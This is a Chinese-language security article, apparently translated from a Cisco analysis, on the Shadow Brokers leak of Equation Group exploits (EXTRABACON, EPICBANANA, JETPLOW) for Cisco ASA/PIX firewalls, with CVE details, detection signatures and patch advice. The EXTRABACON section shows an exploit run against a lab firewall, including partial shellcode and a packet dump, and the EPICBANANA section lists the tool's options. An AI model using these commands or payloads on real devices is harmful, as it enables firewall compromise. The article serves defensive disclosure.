http://p1.qhimg.com/t0132e9573591b45d4e.png

一、事件综述

2016815日,一个名为“The Shadow Brokers”(影子经纪人)的黑客组织声称自己入侵了Equation Group(方程式组织)黑客组织的计算机系统,并成功窃取到了大量的机密信息以及黑客工具。随后,“The Shadow Brokers”黑客组织将大部分泄漏文件(60%)公布在了网上,其中就包含有针对多款网络设备的漏洞利用代码。

 

据了解,在“The Shadow Brokers”黑客组织所泄漏的黑客工具中, EPICBANANA”、“ EXTRABACON”和“JETPLOW”这三个漏洞利用模块将会对思科公司的产品产生影响。其中受影响的设备包括思科ASA系列防火墙,思科PIX防火墙,以及思科防火墙服务模块(FWSM)。

 

思科公司在了解到了此次事件之后,便立刻安排思科产品安全事件响应团队(PSIRT)全权负责此次事件中的漏洞修复和应急处理工作。据悉,PSIRT团队在对此次事件中受影响的产品进行了分析之后,立刻发布了一篇事件响应报告ERP),并在这篇报告中对此次事件中的两大主要安全漏洞进行了简要描述。除此之外,PSIRT团队还发表了一份安全公告,并在安全公告中宣布“The Shadow Brokers”事件中的思科产品漏洞已经被修复了。至此,“The Shadow Brokers”所泄漏的漏洞利用代码(针对思科产品)将不再有效。这两个影响严重的远程代码执行漏洞分别为:

思科ASA SNMP远程代码执行漏洞

思科ASA CLI远程代码执行漏洞

 

思科ASA SNMP远程代码执行漏洞是一个新发现的漏洞,思科Talos安全威胁智能小组和思科IPS入侵防御系统都为这个漏洞生成了数字签名(用以检测漏洞):

Snort规则ID3:39885

-思科IPS签名ID7655-0

 

思科 ASA CLI远程代码执行漏洞早在2011年就已经被修复了。思科公司目前已经发布了一份正式的安全公告,他们希望通过这份安全公告来告知用户这个漏洞早就已经被修复了。思科公司的安全研究专家还表示,只要用户运行的是最新版本的思科软件,那么他们就不会受到“The Shadow Brokers”事件的影响。

 

The Shadow Brokers”目前已经将60%的泄漏数据公布在了网络上,并且将会采用拍卖竞价的形式出售剩下40%的数据。除此之外他们还表示,如果“The Shadow Brokers”收到了一百万个比特币,那么他们就会直接将这些数据全部公布在网络上。根据安全研究专家的分析,他们公布的部分被盗文件日期可以追溯到2013年。

 

二、漏洞概述

根据思科公司的描述,此次泄漏的这些黑客工具主要利用了思科产品中的两大安全漏洞,其中一个漏洞是思科公司早已知晓的,但另外一个漏洞却从来没有被检测到。

 

这个0 day漏洞就是CVE-2016-6366。思科公司表示,这个漏洞主要存在于思科自适应安全设备(ASA)软件的简单网络管理协议(SNMP)代码之中。该漏洞将会允许未经身份验证的远程攻击者重启受影响产品,并在设备系统中实现远程代码执行(RCE)。远程代码执行漏洞是一种非常危险的安全漏洞,因为攻击者可以利用这种漏洞来获取到目标设备的完整控制权。

 

除了上述这个0 day漏洞之外,思科公司还发现了尝试利用漏洞CVE-2016-6367的漏洞利用代码。据了解,该漏洞是思科产品中的一个非常老的漏洞了,公司早在2011年就已经将该漏洞修复了。

 

这个漏洞存在于思科自适应安全设备(ASA)软件的命令行接口(CLI)解析器之中,该漏洞将会允许未经身份验证的本地攻击者进行拒绝服务攻击(DoS)。除此之外,攻击者还有可能利用该漏洞来在受影响设备上执行任意代码。

 

所以思科公司已经发布了一份安全公告,并在公告中提醒全球用户尽快更新思科设备的固件版本。

 

三、漏洞分析

这些文件包含下图所示的目录和漏洞利用代码:

http://p0.qhimg.com/t01103ea7cf64f4abf7.png

在上面这张图片中,有三个目录中的漏洞利用模块与思科ASA系列防火墙,思科PIX防火墙,以及思科防火墙服务有关。这三个模块分别为:EXTRABACON, EPICBANANA,以及JETPLOW

 

在下面这份列表中显示了每一个漏洞利用模块相对应的漏洞信息。

http://p1.qhimg.com/t018baa21d8ea082bf7.png

 

(一)、EXTRABACON

EXTRABACON针对的是思科ASA系列防火墙,思科PIX防火墙,以及思科防火墙服务模块的SNMP代码中的一个缓冲区溢出漏洞。感兴趣的用户可以访问思科公司所发布的安全公告来了解受此漏洞影响的完整设备名单(CVE-2016-6366)。攻击者可以通过向受影响的思科产品发送一个精心设计的SNMP数据包来触发并利用这个漏洞。

 

下面这张图片大致描述了该漏洞的利用过程:

https://static.jiayezz.com/5e/7925517c0b5a6561dde0507aa14300

 关于EXTRABACON模块的一些信息:

1.     用于接收SNMP数据包的接口必须配置并启用SNMP协议。在上图所显示的实例中,SNMP协议只在思科ASA防火墙的管理接口中启用了。随后,攻击者必须利用这个网络接口来发动攻击,因为其他的接口(无论是外部接口还是内部接口)是无法触发这个漏洞的。

2.     如果想要成功利用这个漏洞,那么攻击者必须要知道SNMP社区字符串。

3.     只有直接发送至目标系统的网络流量才能用来触发这个漏洞。

4.     这个漏洞只能通过IPv4流量来触发。

5.     SNMP v1SNMP v2c,以及SNMP v3都会受到该漏洞的影响。

6.     攻击者可以利用这个漏洞来在目标设备中实现任意代码执行,获取目标系统的完整控制权,甚至是重载受影响的系统。

7.     思科ASA系列防火墙软件都会受到该漏洞影响。

 

EXTRABACON模块的使用

首先,我们可以通过-h命令来查看该工具的帮助信息:

omar@omar-io:~$ ./extrabacon_1.1.0.1.py -h
Logging to /home/omar/concernedparent
usage: extrabacon_1.1.0.1.py [-h] [-v] [-q] {info,exec} ...
 
Extrabacon (version 1.1.0.1)
 
positional arguments:
{info,exec}
 
optional arguments:
-h, --help show this help message and exit
-v, --verbose verbose logging, add more -v for more verbose logging
-q, --quiet minimize logging (not recommended)

 

在下面的例子中,我们会对思科ASA防火墙的管理接口(已经启用了SNMP)实施攻击。我们的实验地址为192.168.1.66ASA防火墙配置了SNMPv2,社区字符串为“cisco”。

omar@omar-io:~$ ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable
WARNING: No route found for IPv6 destination :: (no default route?)
Logging to /home/omar/concernedparent
[+] Executing: ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable
[+] running from /home/omar
Data stored in self.vinfo: ASA803
[+] generating exploit for exec mode pass-enable
[+] using shellcode in ./versions
[+] importing version-specific shellcode shellcode_asa803
[+] building payload for mode pass-enable
appended PMCHECK_ENABLE payload eb14bf7082090931c9b104fcf3a4e92f0000005e
ebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80
appended AAAADMINAUTH_ENABLE payload eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8ffffff5
589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80
[+] random SNMP request-id 425297185
[+] fixing offset to payload 49
overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165.165.165.165.131.236.
4.137.4.36.137.229.131.197.88.4
 
*** output omitted ****
 
44.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144
payload (133): eb14bf7082090931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531
f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8fff
fff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80c3
EXBA msg (371): 3082016f0201010405636973636fa58201610204195985210201000201013082015130819106072b0601020101010
 
*** output omitted ****
 
0811081108110811081108110811081108110810d7b810309810b7c2414810b07817f816081100500
[+] Connecting to 192.168.1.66:161
[+] packet 1 of 1
[+] 0000 30 82 01 6F 02 01 01 04 05 63 69 73 63 6F A5 82 0..o.....cisco..
[+] 0010 01 61 02 04 19 59 85 21 02 01 00 02 01 01 30 82 .a...Y.!......0.
[+] 0020 01 51 30 81 91 06 07 2B 06 01 02 01 01 01 04 81 .Q0....+........
[+] 0030 85 EB 14 BF 70 82 09 09 31 C9 B1 04 FC F3 A4 E9 ....p...1.......
[+] 0040 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 31 C0 89 /...^.......U1..
[+] 0050 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB A5 25 AC ..........1...%.
[+] 0060 AC 31 FB B9 A5 B5 A5 A5 31 F9 BA A0 A5 A5 A5 31 .1......1......1
[+] 0070 FA CD 80 EB 14 BF B0 60 06 08 31 C9 B1 04 FC F3 .......`..1.....
[+] 0080 A4 E9 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 89 ../...^.......U.
 
...
###[ SNMP ]###
version = v2c
community = 'cisco'
PDU 
|###[ SNMPbulk ]###
| id = <ASN1_INTEGER[425297185]>
| non_repeaters= 0
| max_repetitions= 1
| varbindlist
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.2.1.1.1']>
| | value = <ASN1_STRING['xebx14xbfpx82tt1xc9xb1x04xfcxf3xa4xe9/x00
x00x00^xebxecxe8xf8xffxffxffU1xc0x89xbfxa5xa5xa5xa5xb8xd8xa5xa5
xa51xf8xbbxa5%xacxac1xfbxb9xa5xb5xa5xa51xf9xbax....
 
 *** output omitted ****
 
xa5xa51xf9xbaxa0xa5xa5xa51xfaxcdx80xc3']>
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165
.165.165.165.131.236.4.137.4.36.137.229
 
 *** output omitted ****
 
44.144.144.144.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144']>
| | value = <ASN1_NULL[0]>
****************************************
[-] timeout waiting for response - performing health check
[-] no response from health check - target may have crashed
[-] health check failed

 

请记住,为了成功利用这个漏洞,我们必须得到SNMP社区字符串和发送数据包的主机地址。比如说:

omar-asa5506(config)# snmp-server host mgmt 192.168.1.100 version 2

在我的测试实例中,我对版本号为9.4的思科ASA防火墙产品(ASA5506)进行了攻击。此次攻击导致ASA防火墙发生了崩溃,具体信息如下所示:

omar-asa5506(config)#
Thread Name: snmp
Page fault: Unknown
r8 0x00000000000000b8
r9 0x00007fffdd4aa590
r10 0x00007fffdd4aa598
r11 0x00007fffcb6bb9f0
r12 0x9090909090909090
r13 0x9090909090909090
r14 0x9090909090909090
r15 0x0000000000000004
rdi 0x00007fffcb6939e0
rsi 0x00007fffdd4aa598
rbp 0x7c8b09837b8d9090
rbx 0x9090c361d0ff3104
rdx 0x00007fffcb693a00
rax 0x0000000000000000
rcx 0x0000000000000000
rsp 0x00007fffcb693a78
rip 0x00000000018e6ccc
eflags 0x0000000000013246
csgsfs 0x0000000000000033
error code 0x0000000000000000
vector 0x000000000000000d
old mask 0xffffffde3e3a5a05
cr2 0x0000000000000000
 
 *** output omitted ****

 

(二)、EPICBANANA

EPICBANANA漏洞利用模块利用的是漏洞CVE-2016-6367,该漏洞将允许未经身份验证的攻击者对目标系统进行拒绝服务攻击(DoS),甚至还可以在目标设备中实现任意代码执行。攻击者可以通过在受影响设备中调用某些无效指令来触发该漏洞。如果想要成功利用该漏洞,那么攻击者必须知道目标设备的telnet或者SSH密码。但是,漏洞CVE-2016-6367早已在思科ASA系列防火墙的8.4版本中得到了修复。

 

下面列出的是EPICBANANA漏洞利用模块的功能选项:

bash-3.2$ ./epicbanana_2.1.0.1.py -h
Usage: epicbanana_2.1.0.1.py [options]
 
EPICBANANA
 
Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -t TARGET_IP, --target_ip=TARGET_IP
                        target IP (REQUIRED)
  --proto=PROTO         target protocol "telnet" or "ssh" (REQUIRED)
  --ssh_cmd=SSH_CMD     path to ssh (default /usr/bin/ssh)
  --ssh_opts=SSH_OPTS   extra flags to pass to ssh, quoted (ex: "-v" or "-v -1
                        -c des")
  --username=USERNAME   default = pix (optional)
  --password=PASSWORD   (REQUIRED)
  --delay=DELAY         pause time between sending commands, default 1.0
                        seconds
  --timeout=TIMEOUT     time to wait for responses, default 20.0 seconds
  --target_vers=TARGET_VERS
                        target Pix version (pix712, asa804) (REQUIRED)
  --versdir=VERSDIR     where are the EPBA version-specific files? (./versions
                        subdir default)
  --mem=MEMORY          target Pix memory size (64M, 1024M) (REQUIRED for
                        pix/asa7, ASA for asa 8+)
  --payload=PAYLOAD     BM or nop (BM default)
  -p DEST_PORT, --dest_port=DEST_PORT
                        defaults: telnet=23, ssh=22 (optional)
  --pretend             system check, prep everything but don't fire exploit
  -v                    verbose mode (default, recommended)
  --debug               debug mode (too much)
  -q                    quiet mode (suppress verbose)

 

下面列出的是EPICBANANA模块需要使用到的文件:

bash-3.2$ ls
EPBA.config.orig               params.py                      pexpect.py                     telnet.py
epicbanana_2.1.0.1.py          params.pyc                     pexpect.pyc                    telnet.pyc
hexdump.py                     payload.py                     ssh.py                         versions
hexdump.pyc                    payload.pyc                    ssh.pyc

 

(三)、JETPLOW

JETPLOW模块相当于是EPICBANANA模块的持久化植入版本。思科公司在其新的平台中使用了非对称加密算法来对软件进行数字签名,并以此来防止这类攻击。数字签名的作用就是为了保证运行在系统中的思科软件没有遭到过非法篡改,并保证软件的安全性。除此之外,思科产品中的安全启动模式同样能够缓解这个问题。

 

四、总结

总的来说,思科公司在处理“The Shadow Brokers”事件上表现得还是非常专业的。在此次事件发生之后,思科公司的安全团队便立刻对此事件进行了响应处理。公司的安全工程师对黑客泄漏在网上的数据进行了筛选,然后将受影响的思科设备进行了归类,并对这些漏洞利用工具进行了深入地分析。

 

根据思科公司的安全研究专家Omar Santos透露的信息,他们在Equation Group组织的EXTRABACON恶意工具中发现了针对漏洞CVE-2016-6366的利用代码,而且还在EPICBANANAJETPLOW中发现了针对漏洞CVE-2016-6367的漏洞利用代码。Santos认为,JETPLOWEPICBANANA的加强版,因为JETPLOW的持久化能力更强。

 

目前,“The Shadow Brokers”黑客组织的动机我们仍不得而知,但是从目前的情况来看,他们的目标肯定不止是为了获取金钱那么简单。很多安全研究专家推测,这群黑客很可能是在为之后的攻击活动做准备,他们也许是打算利用此次数据泄漏事件来吸引媒体和美国国家安全局的注意力。

 

事情的真相到底是什么?也许只能交给时间来回答了。

 

五、参考链接

1.思科安全公告-CVE-2016-6366:

http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp

2.思科安全公告-CVE-2016-6367:

http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-cli

3.思科ASA产品完整性保障综述:

http://www.cisco.com/c/en/us/about/security-center/intelligence/asa-integrity-assurance.html

4.思科ASA防火墙SNMP配置教程:

http://www.cisco.com/c/en/us/td/docs/security/asa/asa96/configuration/general/asa-96-general-config/monitor-snmp.html

5.思科公司针对“The Shadow Brokers”事件的响应报告:

http://tools.cisco.com/security/center/viewErp.x?alertId=ERP-56516

文章原文链接:https://www.anquanke.com/post/id/84412